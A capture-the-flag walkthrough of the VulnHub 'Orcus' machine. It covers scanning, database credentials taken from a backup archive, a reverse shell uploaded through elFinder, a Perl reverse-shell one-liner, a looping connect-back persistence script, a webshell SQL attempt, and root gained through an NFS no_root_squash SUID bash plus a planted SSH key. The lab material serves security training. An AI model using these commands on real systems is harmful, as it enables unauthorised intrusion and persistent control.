---
layout: post
title: "hackfest2016 : Orcus"
date: 2019-04-15 00:34:01 +0000
author: Larry Brown
category: Walkthroughs
tags: [vulnhub, hackfest2016, phpmyadmin, zenphoto, lfi, elfinder, nfs, suid]
---
Hostname: orcus
IP Address: <IP_ADDRESS>
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is <IP_ADDRESS>.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/hackfest2016/orcus# nmap -Pn -sT -sV -A -p 1-65535 -oA orcus <IP_ADDRESS>
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-16 11:24 EDT
Nmap scan report for Orcus.homenet.dom (<IP_ADDRESS>)
Host is up (0.0033s latency).
Not shown: 65519 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 3a:48:6e:8e:3f:32:26:f8:b6:a1:c6:b1:70:73:37:75 (RSA)
| 256 04:55:e6:48:50:d6:93:d7:12:80:a0:68:bc:97:fa:33 (ECDSA)
|_ 256 c9:a9:c9:0d:df:7c:fc:a7:da:87:ef:d3:38:c3:f2:a6 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 30 disallowed entries (15 shown)
| /exponent.js.php /exponent.js2.php /exponent.php
| /exponent_bootstrap.php /exponent_constants.php /exponent_php_setup.php
| /exponent_version.php /getswversion.php /login.php /overrides.php
| /popup.php /selector.php /site_rss.php /source_selector.php
|_/thumb.php
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: CAPA PIPELINING UIDL AUTH-RESP-CODE SASL RESP-CODES STLS TOP
|_ssl-date: TLS randomness does not represent time
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 46869/udp mountd
| 100005 1,2,3 52432/tcp mountd
| 100021 1,3,4 42413/tcp nlockmgr
| 100021 1,3,4 48272/udp nlockmgr
| 100227 2,3 2049/tcp nfs_acl
|_ 100227 2,3 2049/udp nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
|_imap-capabilities: STARTTLS more OK Pre-login IDLE have LOGINDISABLEDA0001 listed LITERAL+ ENABLE post-login capabilities ID IMAP4rev1 LOGIN-REFERRALS SASL-IR
|_ssl-date: TLS randomness does not represent time
443/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 3a:48:6e:8e:3f:32:26:f8:b6:a1:c6:b1:70:73:37:75 (RSA)
| 256 04:55:e6:48:50:d6:93:d7:12:80:a0:68:bc:97:fa:33 (ECDSA)
|_ 256 c9:a9:c9:0d:df:7c:fc:a7:da:87:ef:d3:38:c3:f2:a6 (ED25519)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
993/tcp open ssl/imaps?
|_ssl-date: TLS randomness does not represent time
995/tcp open ssl/pop3s?
|_ssl-date: TLS randomness does not represent time
2049/tcp open nfs_acl 2-3 (RPC #100227)
42413/tcp open nlockmgr 1-4 (RPC #100021)
44598/tcp open mountd 1-3 (RPC #100005)
46296/tcp open mountd 1-3 (RPC #100005)
52432/tcp open mountd 1-3 (RPC #100005)
MAC Address: 08:00:27:96:F8:7B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: ORCUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: 0s
|_nbstat: NetBIOS name: ORCUS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: orcus
| NetBIOS computer name: ORCUS\x00
| Domain name: homenet.dom
| FQDN: orcus.homenet.dom
|_ System time: 2019-04-16T11:25:14-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-04-16 11:25:14
|_ start_date: N/A
TRACEROUTE
HOP RTT ADDRESS
1 3.33 ms Orcus.homenet.dom (<IP_ADDRESS>)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 249.71 seconds
Gaining Access
Ran nikto against the HTTP service on TCP port 80.
root@kali:~/Walkthroughs/hackfest2016/orcus# nikto -h http://<IP_ADDRESS>
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: <IP_ADDRESS>
+ Target Hostname: <IP_ADDRESS>
+ Target Port: 80
+ Start Time: 2019-04-16 11:57:51 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME t
ype
+ Cookie PHPSESSID created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/exponent.js.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/exponent.js2.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/exponent.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/exponent_bootstrap.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/exponent_constants.php' in robots.txt returned a non-forbidden or redirect HTTP code (500)
+ Entry '/exponent_php_setup.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/exponent_version.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/getswversion.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/login.php' in robots.txt returned a non-forbidden or redirect HTTP code (302)
+ Entry '/overrides.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/selector.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/site_rss.php' in robots.txt returned a non-forbidden or redirect HTTP code (302)
+ Entry '/source_selector.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/thumb.php' in robots.txt returned a non-forbidden or redirect HTTP code (302)
+ Entry '/ABOUT.md' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/CHANGELOG.md' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/CREDITS.md' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALLATION.md' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/README.md' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/RELEASE.md' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/TODO.md' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /files/: Directory indexing found.
+ Entry '/files/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /tmp/: Directory indexing found.
+ Entry '/tmp/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 30 entries which should be manually viewed.
+ Server may leak inodes via ETags, header found with file /, inode: 65, size: 53ff6086e56aa, mtime: gzip
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Multiple index files found: /index.html, /index.php
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-2870: /index.php?download=/etc/passwd: Snif 1.2.4 allows any file to be retrieved from the web server.
+ OSVDB-59085: /index.php?|=../../../../../../../../../etc/passwd: Portix-PHP Portal allows retrieval of arbitrary files via the '..' type filtering problem.
+ /index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)
+ OSVDB-59085: /index.php?l=forum/view.php&topic=../../../../../../../../../etc/passwd: Portix-PHP Portal allows retrieval of arbitrary files via the '..' type filtering problem.
+ OSVDB-8193: /index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc/&view=passwd: EW FileManager for PostNuke allows arbitrary file retrieval.
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /files/: This might be interesting...
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ OSVDB-3092: /tmp/: This might be interesting...
+ OSVDB-3093: /admin/index.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3092: /xmlrpc.php: xmlrpc.php was found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /test.php: This might be interesting...
+ /phpmyadmin/: phpMyAdmin directory found
+ 9718 requests: 0 error(s) and 48 item(s) reported on remote host
+ End Time: 2019-04-16 11:59:17 (GMT-4) (86 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Checked several of the paths returned from nikto with 200 responses. From the following URLs (among others), I can tell the server is using the Exponent Content Management System (version 2.3.9).
The exploit database reports a Blind SQL Injection vulnerability for this version of Exponent CMS.
Exponent CMS 2.3.9 - Blind SQL Injection | exploits/php/webapps/40412.txt
This would be great, but browsing to /index.php reveals the database for Exponent is "Off-line". You can't do SQL injection on a database that isn't available. 😞
The /external path is listable and contains many applications, several of which have known vulnerabilities. Unfortunately, many aren't set up or at least aren't clearly accessible (since Exponent isn't really running).
I use wget to mirror the /external directory so I can search for .php files that might return content. While that started downloading, I took note of the 'adminer' directory.
The 'admin.php' file only returns a page saying I need to be logged in to Exponent. The 'adminer-4.2.5-mysql.php', however, gives me a login page to manage the backend database.
Nikto also reported the server has phpMyAdmin available at /phpmyadmin.
Except for these login interfaces to manage the database, most of what nikto reported seems to be a dead end. Let's run dirb to see if there are any other sites hosted on the server that might provide a way in.
dirb http://<IP_ADDRESS> /usr/share/dirb/wordlists/big.txt -o dirb-http-<IP_ADDRESS>.txt
Stepping through each directory found by dirb...
The /admin directory doesn't return anything; however, the /backups directory is listable and has a couple of files.
Backups are notorious for containing sensitive information from files in locations that typically wouldn't be accessible remotely. Let's see what we've got.
Unfortunately, access to the 'ssh-creds.bak' file is "Forbidden". That would be too easy.
However, downloading and browsing through the 'SimplePHPQuiz-Backupz.tar.gz' archive, we've found some database credentials.
root@kali:~/Walkthroughs/hackfest2016/orcus# wget "http://<IP_ADDRESS>/backups/SimplePHPQuiz-Backupz.tar.gz"
root@kali:~/Walkthroughs/hackfest2016/orcus# tar zxf SimplePHPQuiz-Backupz.tar.gz
root@kali:~/Walkthroughs/hackfest2016/orcus# cd SimplePHPQuiz/
root@kali:~/Walkthroughs/hackfest2016/orcus/SimplePHPQuiz# grep -ri 'password' * | cut -d ':' -f 1 | sort -u
css/bootstrap.css.map
includes/db_conn.php
root@kali:~/Walkthroughs/hackfest2016/orcus/SimplePHPQuiz# cat includes/db_conn.php
<?php
//Set the database access information as constants
DEFINE ('DB_USER', 'dbuser');
DEFINE ('DB_PASSWORD', 'dbpassword');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'quizdb');
@ $dbc = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
if (mysqli_connect_error()){
echo "Could not connect to MySql. Please try again";
exit();
}
?>
Now that we have some database credentials, let's go try them on the phpMyAdmin login page.
They worked! :]
Looks like we are running phpMyAdmin version <IP_ADDRESS>deb2ubuntu2. Let's check the exploit database for known vulnerabilities. Surprisingly, nothing for version 4.5.
Browsing to the 'mysql/user' table, we see that our 'dbuser' account has all the permissions we'll ever need, so no need to try to brute force any of the other accounts.
Let's see if we can use/abuse phpMyAdmin to upload some PHP code that will allow us to execute arbitrary commands on the server. We'll assume the server is hosting files out of the default '/var/www/html' directory. We select first database in the list (Adem) and go to the SQL tab to run our sql command. We are going to try to create a 'cmd.php' file in the root of /var/www/html that has PHP code that takes a query string parameter called 'cmd' and executes it on the server.
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/cmd.php"
After hitting Go, we get an error. Looks like the MySQL server has been properly configured to only allow files to be written to a well defined location.
I run the following command to see what the secure location is.
SHOW VARIABLES LIKE "secure_file_priv";
Well, so much for that. It is doubtful the web server can access any files written to '/var/lib/mysql-files'. Moving on...
Most of the other databases seem to be empty. The only one that has content is 'zencart'.
The 'admin' table in the zencart database has a user named 'admin' with a current password hash and a previous password hash. Let's try to crack the hashes with john.
I create a file with the two hashes.
root@kali:~/Walkthroughs/hackfest2016/orcus# cat zencart-admin
admin:$2y$10$W7Leeizto5Pc9tXCVlEgFOlcbjHeaOPoUsRqwl4xmTzhrKR52vDf.
admin_old:$2y$10$P7YrX.VgZXRkFI/990aQnencu8IxU5B2l/O6Zqo.xVU832f4Ykesm
I use john to crack them.
root@kali:~/Walkthroughs/hackfest2016/orcus# john --single zencart-admin
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
admin123 (admin)
1g 0:00:05:33 DONE (2019-04-16 13:28) 0.002999g/s 37.77p/s 37.78c/s 37.78C/s old1900..oadmin1900
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Looks like the current password was cracked (using the most basic cracking method --single), but not the previous one. I tried to SSH to the host using 'root:admin123' and 'admin:admin123'. Neither worked, but it was worth a shot. The server also doesn't seem to have a /zencart directory, so maybe this is just a red herring. We'll see if this password can be used somewhere else later.
Now, back to stepping through the found directories...
Accessing /zenphoto redirects us to a "Zenphoto Setup" page. The setup page shows an error with the database configuration.
Before messing too much with this, I check the exploit database to see if Zenphoto is a typically vulnerable piece of software and...
root@kali:~/Walkthroughs/hackfest2016/orcus# searchsploit zenphoto
------------------------------------------------------------------------------------------------------------- ------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------------------------- ------------------------------------
ZenPhoto - 'admin-news-articles.php' Cross-Site Scripting | exploits/php/webapps/37903.txt
ZenPhoto - 'index.php' SQL Injection | exploits/php/webapps/38326.txt
ZenPhoto - Config Update / Command Execution | exploits/php/webapps/15114.php
ZenPhoto - SQL Injection | exploits/php/webapps/39062.txt
ZenPhoto 0.9/1.0 - 'i.php?a' Cross-Site Scripting | exploits/php/webapps/27795.txt
ZenPhoto 0.9/1.0 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/27796.txt
ZenPhoto 1.1.3 - 'rss.php?albumnr' SQL Injection | exploits/php/webapps/4823.pl
ZenPhoto 1.2.5 - Completely Blind SQL Injection | exploits/php/webapps/9154.js
ZenPhoto 1.3 - '/zp-core/admin.php' Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/34611.txt
ZenPhoto 1.3 - '/zp-core/full-image.php?a' SQL Injection | exploits/php/webapps/34610.txt
ZenPhoto <IP_ADDRESS> - '_zp_themeroot' Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/35648.txt
ZenPhoto <IP_ADDRESS> - x-forwarded-for HTTP Header Persistent Cross-Site Scripting | exploits/php/webapps/17200.txt
ZenPhoto <IP_ADDRESS> - 'ajax_create_folder.php' Remote Code Execution | exploits/php/webapps/18083.php
ZenPhoto 1.4.10 - Local File Inclusion | exploits/php/webapps/38841.txt
ZenPhoto 1.4.11 - Remote File Inclusion | exploits/php/webapps/39571.txt
ZenPhoto <IP_ADDRESS> - Multiple Vulnerabilities | exploits/php/webapps/22524.txt
ZenPhoto 1.4.8 - Multiple Vulnerabilities | exploits/php/webapps/37602.txt
ZenPhoto CMS 1.3 - Multiple Cross-Site Request Forgery Vulnerabilities | exploits/php/webapps/14359.html
ZenPhoto Gallery 1.2.5 - Admin Password Reset (Cross-Site Request Forgery) | exploits/php/webapps/9166.txt
------------------------------------------------------------------------------------------------------------- ------------------------------------
Shellcodes: No Result
YES! Yes, it is. 🙂
Since we know we have valid database credentials (that are fully privileged), we decide we should get Zenphoto up and running.
We enter our database credentials and click Save.
When the page refreshes, it looks like everything is green and good to Go... so we click Go...
The next step appears to be setting my "admin user and password"...
After agreeing to the terms and conditions, of course...
I fill out my admin details and click Apply
Time to login...
Once logged in, I go to the Overview tab and see what version of Zenphoto we are running.
Great, the exploit database has a known issue with our version.
ZenPhoto 1.4.10 - Local File Inclusion | exploits/php/webapps/38841.txt
Using the proof-of-concept (PoC) code in the exploit database TXT file, I'm not actually able to get the LFI vulnerability to work. I try (which comes directly from the PoC)...
http://<IP_ADDRESS>/zenphoto/zp-core/pluginDoc.php?thirdparty=1&extension=../../../xampp/phpinfo
As well as...
http://<IP_ADDRESS>/zenphoto/zp-core/pluginDoc.php?thirdparty=1&extension=../../../../../../../etc/passwd
Both error out. I decided to try to download the Zenphoto source code to see what the pluginDoc.php page was doing and how to get the LFI working. After jumping through hoops on the Zenphoto website, I finally found where I could download previous versions from their GitHub repo.
Looking at the source code for pluginDoc.php, the extension parameter is captured, "sanitized" and then a path is built using the parameter + '.php'. So, we have to target .php files to get the LFI vulnerability to work.
[snip]
$extension = sanitize($_GET['extension']);
$thirdparty = isset($_GET['thirdparty']);
if ($thirdparty) {
$pluginToBeDocPath = SERVERPATH . '/' . USER_PLUGIN_FOLDER . '/' . $extension . '.php';
} else {
$pluginToBeDocPath = SERVERPATH . '/' . ZENFOLDER . '/' . PLUGIN_FOLDER . '/' . $extension . '.php';
}
That might be useful, but let's see what else Zenphoto can do for us.
Checking out the Plugins tab in Zenphoto reveals lots of goodies. Of special note is the "Uploader" tab. That sounds like what we need.
It looks like the two uploaders that are already enabled are only for images. The elFinder plugin looks to be more robust and even has some known issues (according to the exploit database), so let's enable that one.
root@kali:~/Walkthroughs/hackfest2016/orcus# searchsploit elFinder
------------------------------------------------------------------------------------------------------------- ------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------------------------- ------------------------------------
elFinder 2 - Remote Command Execution (via File Creation) | exploits/php/webapps/36925.py
elFinder 2.1.47 - 'PHP connector' Command Injection | exploits/php/webapps/46481.py
elFinder PHP Connector < 2.1.48 - 'exiftran' Command Injection (Metasploit) | exploits/php/remote/46539.rb
------------------------------------------------------------------------------------------------------------- ------------------------------------
Shellcodes: No Result
We can access our newly enabled Uploader plugin from the Upload tab.
It looks like the default location elFinder uses is /zenphoto/uploaded...
...which we have directory listing available for.
Let's build our PHP reverse shell with msfvenom and upload it.
root@kali:~/Walkthroughs/hackfest2016/orcus# msfvenom -p php/reverse_php LHOST=<IP_ADDRESS> LPORT=5432 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3035 bytes
Now that the reverse shell is on the server and accessible, we need to start our Metasploit listener. I'm actually going to start two listeners. One for the PHP reverse shell, and one for the Perl reverse shell I'll create as soon as the PHP shell session starts. I'm doing this because the PHP reverse shell will quickly timeout and I want a more stable connection.
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5432
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5433
I use curl to start the PHP reverse shell session...
root@kali:~/Walkthroughs/hackfest2016/orcus# curl http://<IP_ADDRESS>/zenphoto/uploaded/rev.php
Worked! I connect to the session and start my perl reverse shell.
msf5 exploit(multi/handler) > [*] Command shell session 1 opened (<IP_ADDRESS>:5432 -> <IP_ADDRESS>:59382) at 2019-04-16 16:06:45 -0400
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
pwd
/var/www/html/zenphoto/uploaded
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
perl -e 'use Socket;$i="<IP_ADDRESS>";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
[*] Command shell session 2 opened (<IP_ADDRESS>:5433 -> <IP_ADDRESS>:57200) at 2019-04-16 16:07:13 -0400
Maintaining Access
Since SSH is open on the victim, I checked to see if the www-data user has a default home directory and shell defined.
www-data@Orcus:/var/www/html/zenphoto/uploaded$ grep `whoami` /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
The home directory exists, but only allows writes by root.
drwxr-xr-x 4 root root 4096 Oct 22 2016 www
The default shell is set to '/usr/sbin/nologin', so I won't be able to SSH to the box with this account.
I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes.
root@kali:~/Walkthroughs/hackfest2016/orcus# cat thumb
#!/bin/sh
while true; do
perl -e 'use Socket;$i="<IP_ADDRESS>";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# sleep for 300 seconds (5 mins)
sleep 300
done
I uploaded the script to the victim's /var/www/html/zenphoto/cache directory and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.
www-data@Orcus:/var/www/html/zenphoto/cache$ wget -O thumb <IP_ADDRESS>:4321/thumb
<l/zenphoto/cache$ wget -O thumb <IP_ADDRESS>:4321/thumb
--2019-04-16 16:26:34-- http://<IP_ADDRESS>:4321/thumb
Connecting to <IP_ADDRESS>:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 307 [application/octet-stream]
Saving to: 'thumb'
thumb 100%[===================>] 307 --.-KB/s in 0s
2019-04-16 16:26:34 (59.0 MB/s) - 'thumb' saved [307/307]
www-data@Orcus:/var/www/html/zenphoto/cache$ chmod +x thumb
chmod +x thumb
www-data@Orcus:/var/www/html/zenphoto/cache$ ./thumb &
./thumb &
[1] 21552
Privilege Escalation
Several of the services we detected in the initial scanning were related to NFS. We can see remotely that the server has an NFS export for /tmp that allows anyone to connect.
root@kali:~/Walkthroughs/hackfest2016/orcus# showmount -e <IP_ADDRESS>
Export list for <IP_ADDRESS>:
/tmp *
Now that we have a local shell, we can also see that root squashing is not enabled for the share.
www-data@Orcus:/etc$ cat /etc/exports
cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/tmp *(rw,no_root_squash)
This means we can mount the share on our attacker machine and use our root access there to create suid files on the victim and easily gain root access.
We start by copying /bin/bash to the /tmp directory on the victim.
www-data@Orcus:/etc$ cd /tmp
www-data@Orcus:/tmp$ which bash
/bin/bash
www-data@Orcus:/tmp$ cp /bin/bash .
Now, on our attacking machine we mount the /tmp directory locally.
root@kali:~/Walkthroughs/hackfest2016/orcus# mkdir tmp
root@kali:~/Walkthroughs/hackfest2016/orcus# mount -t nfs <IP_ADDRESS>:/tmp tmp
Now all we have to do is move to the tmp directory, change the owner of the bash file we copied and set the "sticky" bit to allow normal users to execute it as root.
root@kali:~/Walkthroughs/hackfest2016/orcus# cd tmp
root@kali:~/Walkthroughs/hackfest2016/orcus/tmp# chown root bash
root@kali:~/Walkthroughs/hackfest2016/orcus/tmp# chmod u+s bash
root@kali:~/Walkthroughs/hackfest2016/orcus/tmp# ll
total 1.1M
-rwsr-xr-x 1 root www-data 1.1M Apr 16 17:38 bash
Back on the victim...
www-data@Orcus:/tmp$ ./bash -p
bash-4.3# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
Why does this work? What does '-p' mean? From the bash man page.
If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no
startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables,
if they appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at in‐
vocation, the startup behavior is the same, but the effective user id is not reset.
As you can see from the output of the 'id' command, the effective user id (euid) is 0 (root).
Now we get the flag from /root.
bash-4.3# cd /root
bash-4.3# cat flag.txt
cat flag.txt
807307b49314f822985d0410de7d8bfe
To do some more digging, we will also add our ssh key to the /root/.ssh/authorized_keys file so we can get a nice shell.
bash-4.3# cd .ssh
bash-4.3# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVjc6rm8+ORrWgwf/6RjxhodRe2yTTih+gyI0apQOW1XJs3jzoQahnXMORD+nkBRd9Cg5xyT0LTCBDI/+qNbXb4V1jAKIiZiA6+ZQsXQYqf8aA6S6ElaaAehUWqlUzoixFWPBsGKOdGclhIlgS4nndho8fVK3fy260hy4/T/oM//fO+RkAjkPVDh42UU2S98QKR2meCtj8YDOi9t3Wm4PsEutaiYPi4sjtTNvaJ7Y2VRNy3jPqcs0bCDAhK5poNFxAS7FaL+/Kb/zsP5gF9WuvtGRzWJp7q+lOPYcfhN9cAKlxMKMxC/bGLuyGf2IOGc2VGekmwf6AOr86B6zMm6pT root@kali" >> authorized_keys
Once we SSH in, we could also edit root's crontab to further "maintain access"... but we aren't planning to spend too much longer on this.
Before we SSH in, though, it should be noted that we found SSH services listening on both TCP port 22 and TCP port 443. In the /etc/passwd file we see a user named 'kippo'. Googling kippo, we find "Kippo is a medium-interaction SSH honeypot written in Python."
bash-4.3# cat /etc/passwd
[...]
kippo:x:1001:27::/home/kippo:/bin/bash
[...]
Also, in the /etc directory we see a folder for 'kippo'. Checking the config file, we see that it is set up to listen on port 22. Incidentally, we also see a "flag" in the file.
bash-4.3# cd /etc/kippo
bash-4.3# cat kippo.cfg
cat kippo.cfg
#
# Kippo configuration file (kippo.cfg)
#
[honeypot]
# IP addresses to listen for incoming SSH connections.
#
# (default: <IP_ADDRESS>) = any address
#ssh_addr = <IP_ADDRESS>
# Port to listen for incoming SSH connections.
# user:1:TH!SP4SSW0RDIS4Fl4G!
# (default: 2222)
ssh_port = 22
[...]
Checking the running processes (ps -aux) and open ports (lsof -i -Pn), it doesn't appear that kippo is actually running, but we'll be on the safe side and SSH using TCP port 443.
root@kali:~/Walkthroughs/hackfest2016/orcus# ssh -p 443 -i orcus<EMAIL_ADDRESS>Pivoting
N/A
Clean Up
*** REMOVE /var/www/html/zenphoto/uploaded/rev.php ***
*** STOP /var/www/html/zenphoto/cache/thumb ***
*** REMOVE /var/www/html/zenphoto/cache/thumb ***
*** REMOVE /tmp/bash ***
*** REMOVE ssh key from /root/.ssh/authorized_keys ***
*** REMOVE /tmp/rev.php ***
Additional Info
Flags
The first flag can be found in /var/www.
www-data@Orcus:/var/www$ cat flag.txt
cat flag.txt
868c889965b7ada547fae81f922e45c4
Using the Zenphoto LFI vulnerability
Because of the accessible NFS share, we could use the Zenphoto LFI vulnerability to retrieve our PHP reverse shell from /tmp. That would involve mounting /tmp on our attacking machine, copying over our PHP reverse shell (created earlier with msfvenom) and then using the following curl command to access it.
curl 'http://<IP_ADDRESS>/zenphoto/zp-core/pluginDoc.php?thirdparty=1&extension=../../../../../../../tmp/rev'
ssh-creds.bak
In revisiting the 'ssh-creds.bak' file in the /var/www/html/backups directory, we find that it is just junk. The username/password combo doesn't work. Just another red herring.
root@Orcus:/var/www/html/backups# cat ssh-creds.bak
root:123456
phpmyadmin.conf
We found a username and password in the phpmyadmin.conf file in /etc/dbconfig-common. We tried the credentials on the /phpmyadmin site and they worked. Unfortunately, as seen in a screenshot above, the phpmyadmin user doesn't actually have any db privs.
root@Orcus:/etc/dbconfig-common# cat phpmyadmin.conf
[...]
# dbc_dbuser: database user
# the name of the user who we will use to connect to the database.
dbc_dbuser='phpmyadmin'
# dbc_dbpass: database user password
# the password to use with the above username when connecting
# to a database, if one is required
dbc_dbpass='sX6yATfXjVyf'
Adem
The db.php file in /var/www/html/Adem contains more credentials.
// SET YOUR DB HOST , default is be ( localhost )
define("DB_HOST","localhost");
[...]
Additionally, the adem.sql file defines a default password for settings.
root@Orcus:/var/www/html/Adem# cat adem.sql
[...]
INSERT INTO `settings` (`sid`, `sett_name`, `sett_value`) VALUES
(1, 'site_url', 'ضع رابط موقع هنا . - put your website url here'),
(2, 'site_name', ''),
(3, 'site_descrip', ''),
(4, 'google_code', ''),
(5, 'email', ''),
